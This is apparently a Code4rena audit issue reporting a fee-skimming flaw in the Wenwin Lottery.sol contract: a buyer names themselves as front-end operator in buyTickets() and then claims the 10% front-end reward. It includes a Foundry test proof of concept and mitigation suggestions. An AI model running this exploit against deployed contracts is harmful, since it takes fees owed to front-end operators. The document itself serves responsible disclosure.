code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L113 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L129 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L151-L157

Vulnerability details

Impact

Front-end operators lose the 10% of sold ticket fees reserved for them and exploiter claims these fees (for their own ticket buys)

Description

You can buy tickets by calling Lottery.sol buyTickets() and setting the frontend param to your own address which enables you to claim the fees reserved for front-end operators. It's not specified in the documentation if the UI would prevent this, but even assuming it is: a savvy user can still bypass this by directly calling the contract.

Exploiter calls buyTickets() in Lottery.sol with front-end param set to his own address
Exploiter calls claimRewards() in Lottery.sol with LotteryRewardType.FRONTEND enum param

Exploiter profits 10% of ticket fees in rewardTokens (of his own buys)

Proof of Concept

Copy and paste the following function in test/Lottery.t.sol and call forge test --match-test testExploitFrontendRewards -vvvv to run the PoC:

function testExploitFrontendRewards() public {
// 1.1 setup - mint and approve token price
address exploitor = vm.addr(13371337);
vm.startPrank(exploitor);
rewardToken.mint(TICKET_PRICE);
rewardToken.approve(address(lottery), TICKET_PRICE);

// 1.2 setup - preparing data to buy ticket
uint128[] memory drawIds = new uint128[](1);
drawIds[0] = lottery.currentDraw();
uint120[] memory tickets = new uint120[](1);
tickets[0] = uint120(0x0F);

// 2. exploitor buying tickets with setting front-end param to his address
lottery.buyTickets(drawIds, tickets, exploitor, exploitor);
// no reward tokens yet
assertEq(rewardToken.balanceOf(exploitor), 0);

// unclaimed rewards = front-end fee of ticket because 1 ticket was bought
assertEq(lottery.unclaimedRewards(LotteryRewardType.FRONTEND), TICKET_FRONTEND_FEE);
uint256 frontendRewardAmount = lottery.unclaimedRewards(LotteryRewardType.FRONTEND);

// 3. exploitor claims front-end rewards for themselves
lottery.claimRewards(LotteryRewardType.FRONTEND);
// no more unclaimed front-end rewards
assertEq(lottery.unclaimedRewards(LotteryRewardType.FRONTEND), 0);
// exploitor claimed the reward for his ticket sales
assertEq(rewardToken.balanceOf(exploitor), frontendRewardAmount);
}

Tools Used

Manual review, Foundry tests

Recommended Mitigation Steps

Prevent setting the frontend param in the UI/front-end. Consider adding a whitelist for front-end operators and allowing buyTickets() to be called only with the appropriate frontend operators.

c4-judge commented 1 year ago

thereksfour marked the issue as duplicate of #483